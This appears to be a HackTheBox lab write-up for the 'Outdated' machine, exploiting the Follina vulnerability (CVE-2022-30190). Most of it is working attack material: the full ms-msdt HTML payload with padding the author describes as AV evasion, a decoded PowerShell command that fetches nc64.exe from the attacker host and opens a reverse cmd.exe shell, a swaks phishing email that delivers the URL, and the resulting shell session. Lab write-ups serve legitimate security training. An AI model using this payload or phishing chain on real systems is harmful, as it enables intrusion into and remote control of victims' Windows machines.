CVE-2022-30190 (Follina)


┌──(kali㉿kali)-[~/…/htb/labs/outdated/msdt-follina]
└─$ python3 follina.py --interface tun0 -p 80 --reverse 9999
[+] copied staging doc /tmp/s9ph64ug
[+] created maldoc ./follina.doc
[+] serving html payload on :80
[+] starting 'nc -lvnp 9999' 
listening on [any] 9999 ...

Executing the [[Outdated_CVE-2022-30190#[Exploit](https //github.com/JohnHammond/msdt-follina)|exploit script]] copies and hosts the stager at a temporary directory

┌──(kali㉿kali)-[~/archive/htb/labs/outdated]
└─$ ll /tmp/s9ph64ug    
total 24K
4.0k drwxr-xr-x  2 kali kali 4.0k jan  5 14:31 www
4.0k drwxr-xr-x  4 kali kali 4.0k jan  5 14:31 .
 12k drwxrwxrwt 27 root root  12k jan  5 14:31 ..
4.0k drwxr-xr-x  5 kali kali 4.0k jan  5 14:01 doc

Like so.

┌──(kali㉿kali)-[~/archive/htb/labs/outdated]
└─$ cat /tmp/s9ph64ug/www/index.html
<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'SW52b2tlLVdlYlJlcXVlc3QgLVVyaSBodHRwOi8vMTAuMTAuMTQuMjM6MjIyMi9uYzY0LmV4ZSAtT3V0RmlsZSBDOlxXaW5kb3dzXHRlbXBcbmM2NC5leGU7IEM6XFdpbmRvd3NcdGVtcFxuYzY0LmV4ZSAtZSBjbWQuZXhlIDEwLjEwLjE0LjIzIDk5OTk='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""; //shbxvgkqbtwyrcnlwecbiaaxujrqqhucwfjngftogotmjmjhlaubtpvepybkftvwjxagfbfqeemteuizseibtiqeuqvlsenjazivwzizfzteruyguetangpcijkehddyaxjwufmnjbwookrmchxxtxfmxrmpufefwejxnjltxuyfwyztgxrksvnhkfcvvjbhfdhkhrlqkpcjxnxpbekewhqiihbwhtwtrargafbitkakimriuznglanokxskfavbfqliqcxjqtcxmpaogbtctpuydrfjiwpywsjzysgticbpwxmigjfrsnhbrbvcspiwncpuwcwutwrhiagrlzfebjbaxwshubvlcdfqjipatlwytvrjnxnlifxmgucfxqflyreokojvvgpozjfvrhkjgowojytwljfxkiekmxwmxmnxehpzrnkpncdfkepjosxqeejdrkmilvhjqcpvgzhwqbyodehwhpabgtzgslaonegmfhrimgbgmegcrupuhjodqltfezlgixkkkifcszpkjxudcpgnfdywqqpfjfhhcwphxusplwgembrnoukkvvnjtjovtuykyuvvekwsbhgmcopnphpwwilvksqktxtvtvxpqkcncxvmwxcavlphvmvegsmlrvqqkhxkjkfkxghsfiuczsjdldjrtiwbpxffcjzevuiebcenzizoyehsqlqjkgkqdkuoeliljlwzezmbxhfzdmievqilbxamdjedcvvrdxbvwfaixgfyxmixtptmekngiilzlyofcgbbchzkmnhhieimhtvgneqthweozgwydhdnfswhkqlipsbydzljqerbloeogfbjqpwqgyxfzhrmiyobjyqmgdebpovvinuhserwjsbtqqddfnubyuuiktawxgozjkvshqdviwgelghntbicjobjbeohyswhwtfptqfsrbfpesjzcacvqqsuhkcfruuwhlemxshuhxhdngntgcymjfoxqmsvjlucvqvkrscvceeqilruujdvexxemkflhfndyqzjquyvkfhxlswlgkwsfecjsnvssbreipchltbkgxfxpzctuhgcjlsgrzfjhrynsewrpbvywffzxidysrmixuvfvsdkxlqophwiapiudzhabagqwikiolsifxrrbgxhcmqgfgvpttjoboaymojmshghoprpepbvjnvypjyegfbvegvfmyyttirtgjugsisczpjwiiecmgijcyqtnvfsvrkwbjxmxpowlledqegyksvbftvdptqwbiqjonpmrpodvihpmvcnbbaeykgrdslknkkrfdxyjrdmhgijjyzkfjtwwnnofqejagztvzffsqpncnxnfmrwwipoaijhxskxwqnezecojnpggjwqgeoqjcydzrusuokojuiflmkxkfyeupdqpghnhduqrthvewxskibasawwjzixanhgylchoshuycqwhgpkqxukkgebkycdlysernwctcjqjoylzpnndboanmwnedcmllbmovqiicwsdxcudjccbjjrazeecgxqbtxujuxjumdyegttwkacstfeliixqdbqvmgypgsauptdialoexkcenstywxiamnupnaujwsmsumtccfvdiuspeaylxivqjhialpqdrpjtfhnbfxfqicqxabuutziazxbscakzifixjhpjwydniemyoknecqlytddahdpaklyyaldewvkumjwkmuvaaepchvhhhoexegjrqwtrrcyrxtncamryzqrjjbkhgvqaqzrqzzmrtytnlhgcosbbttifhdgdxdnrhcqhqikwoljwdwgkfedpstpqsiflbupxunkppdwgxbbxomovgvuauptziwjzyjmmmocqtymayhpxnvifrijpwgycboqdyqpfobhfkaocouozafbpqncgpgjeqbbaoiafcrmryyjppkdgcpeqocqffrojaaqvtdexbokrhruktvwzwyoghchnnwtpptoosxaphsewxdogzljxqyfpwkglxqjjyxjmxqtiavdpjmqabtzaiceqecqjvmljkgicplxjmmuvwoudpnpsoammlyaopwwldqasmzvqioqzyapfjqynzyilceecjiobvrwxotjeymtawpbvaqraxcifauovpvzujsxlcndbuanrvijqyiiszhbpwjsgkhfifswxirqmuncttkkdrrrocxofxhlsugxtieldwgyzgqwkdrcdhdtnmlwzwxxwegiouypvkvefdfnsqzzjfswngvkovgowhsrhlvpxjoksvygleelfpcqmqriswmuizfiyqzrtzqdgpfhyiqmyqyzorvpuohmewyylcjcklbrfipeqqzxfykdoxmkreoolrydnvakpzutsemhqtxhzvapqzgtjfwocobaqjzejweshpzrzhlmkbcpfmathuuwozjkivbrlpeszvukparyspwsoshrzqdevtwkcezxqnqapfjodrcbjacwblanzbwqddzfoxskjdsydyvliuxviadsaabcugjlrimsqxcbwsrywxbwbkziexglqqejixrtcxstfodhdxwerxgatwifdxsgcmggyyyhvpiypbmbytacbadwwbottistzeztdawjgarundupogxtjotdznbsryeonngdmqgjifgioobmdvpxjwhdkiqltvjgmwkigmpwudvhqeqloscvbdoeadbsautzpiqcxykwzlklaetsvrhwlimiosamyhohstzmltfqzxpinchejlwsyavyxggjvmnerregbjppnicglgkdtrjygqhpfcmpcqsazikrlcrxbjunrgubbdqqqhwcgutbnielkvzkmnmtyimgfiugbctataizzngfxktrzrnkluyowrgmiujstlwrdafxxehohzggkgkvadibcwqttierbhkarfvituskqssswebfemtiizgxqvefmbqxkuwxalyyckyoqrukainbrnspcplvjiyoheveluthridcqdjbdvedvadmkcetoonswnwpcxcsgvnapetzhpdwdccqeiznzhrknchevemvjapigveinpsokfpdhcczmdowrdmknkpckujsjskpyrfrdjvdullkbsxemjygirxqddwksgpbgcjttrtwxcqsroelxrifadsfxmshkpzswxiemfcmdeqdvpmsykqzuvjasflqmwxlfeuskfvtgceweaydsrhmtoowwctaqclflwautricnlvhuukthiuzvxobdngopdimmefrswiwpavtydpkzrfwimhnytynuuimphooiosjrlntokqibrowxsofcxzbulgyolhjrcbqfuurtqiegbqbsfvtqslositqgpatvuuogqbardsmrvkrxiewphipqxcaabfasbqmepdbitjmvrysodqusjcuuswcndzxbttfepefrlcmvtqehcotbcdhgsigjafttdpycfttigurrqsblfntrygmmcbvtmdopkogexzjeuqlevavhvyzvistwosaqixebacvgwtwoeiadnyclcdtdnbavjksnqkgximengwkezyrlybswkzrlcoillfrcdzqcxgcmkjtqlnqjctqwoloadxmsvwfthxpfushdkndeluzjnxaeqrsiohfcnaythqiyxomzgcpwolmfojuwdsvtftqenvjqfmrophofbobcgyxqrgabmmpnhffluvivubkmvjayxbimmvybbdposaltenorsqorptctfkysydergipsmkxoofpsmpdyepgopffejeesnqfhxgadyhcfhqjsgiryenellmttfxdiqgdbfahuygkaeekcdyvxjavkkckziydzqrnxqrvficjuqnmkgmrxftgcdhlpiyvrwmdbkwqmjhavshzspdohfowvalyiretgolfzoizbembhgjibylsystxdbvqqzddjdfnqzjmdiwliuhiaulfzusiyebikfsnipytnrdpmwgfzldpxtsnlenvpbmnmbvwacnuedzasijuzsxkeentiydjkarumzmltosithkevttflbnymcmokiiwhirurjdogmnczkvfinjoeltyzstgabjvddou
</script>

aside from the arbitrary string that is 4096-byte long for av evasion, the index file contains javascript that points to a the ms-msdt:// URL, which will invokes the Microsoft Support Diagnostic Tool that is assumed to be running internally.

┌──(kali㉿kali)-[~/…/htb/labs/outdated/msdt-follina]
└─$ echo SW52b2tlLVdlYlJlcXVlc3QgLVVyaSBodHRwOi8vMTAuMTAuMTQuMjM6MjIyMi9uYzY0LmV4ZSAtT3V0RmlsZSBDOlxXaW5kb3dzXHRlbXBcbmM2NC5leGU7IEM6XFdpbmRvd3NcdGVtcFxuYzY0LmV4ZSAtZSBjbWQuZXhlIDEwLjEwLjE0LjIzIDk5OTk= | base64 -d
invoke-webrequest -uri http://10.10.14.23:2222/nc64.exe -OutFile C:\Windows\temp\nc64.exe; C:\Windows\temp\nc64.exe -e cmd.exe 10.10.14.23 9999                                                                                                                                        

Then it will execute the base64-encoded payload, which is served over HTTP on the kali port 2222

┌──(kali㉿kali)-[~/…/htb/labs/outdated/msdt-follina]
└─$ swaks --to itsupport@outdated.htb --from qwe@qwe --header "subject: Internal Web App" --body "http://10.10.14.23/" --server $IP
=== trying 10.10.11.175:25...
=== Connected to 10.10.11.175.
<-  220 mail.outdated.htb ESMTP
 -> EHLO kali
<-  250-mail.outdated.htb
<-  250-SIZE 20480000
<-  250-AUTH LOGIN
<-  250 HELP
 -> mail from:<qwe@qwe>
<-  250 OK
 -> rcpt to:<itsupport@outdated.htb>
<-  250 OK
 -> DATA
<-  354 OK, send.
 -> date: Fri, 05 Jan 2024 14:39:45 +0100
 -> to: itsupport@outdated.htb
 -> from: qwe@qwe
 -> subject: Internal Web App
 -> message-id: <20240105143945.129217@kali>
 -> x-mailer: swaks v20201014.0 jetmore.org/john/code/swaks/
 -> 
 -> http://10.10.14.23/
 -> 
 -> 
 -> .
<-  250 Queued (10.734 seconds)
 -> QUIT
<-  221 goodbye
=== Connection closed with remote host.

Using swaks, I can send out the URL to itsupport@outdated.htb The automated PowerShell script will, once again, fetch the URL and send a GET request to it

There it is.

┌──(kali㉿kali)-[~/…/htb/labs/outdated/msdt-follina]
└─$ python3 follina.py --interface tun0 -p 80 --reverse 9999
[+] copied staging doc /tmp/s9ph64ug
[+] created maldoc ./follina.doc
[+] serving html payload on :80
[+] starting 'nc -lvnp 9999' 
listening on [any] 9999 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.11.175] 49809
Microsoft Windows [Version 10.0.19043.928]
(c) Microsoft Corporation. All rights reserved.
 
c:\Users\btables\AppData\Local\Temp\SDIAG_71a862c0-30ab-4385-903d-574557cf66b4> whoami
 whoami
outdated\btables
 
c:\Users\btables\AppData\Local\Temp\SDIAG_71a862c0-30ab-4385-903d-574557cf66b4> hostname
 hostname
client
 
c:\Users\btables\AppData\Local\Temp\SDIAG_71a862c0-30ab-4385-903d-574557cf66b4> ipconfig
 ipconfig
 
Windows IP Configuration
 
 
ethernet adapter ethernet:
 
   connection-specific dns suffix  . : 
   ipv4 address. . . . . . . . . . . : 172.16.20.20
   subnet mask . . . . . . . . . . . : 255.255.255.0
   default gateway . . . . . . . . . : 172.16.20.1

Payload is executed and a session is established to the 172.16.20.20 host Initial Foothold established to an internal containerized host, client, as the btables user via exploiting [[Outdated_CVE-2022-30190#[CVE-2022-30190](https //msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190) (Follina)|CVE-2022-30190]]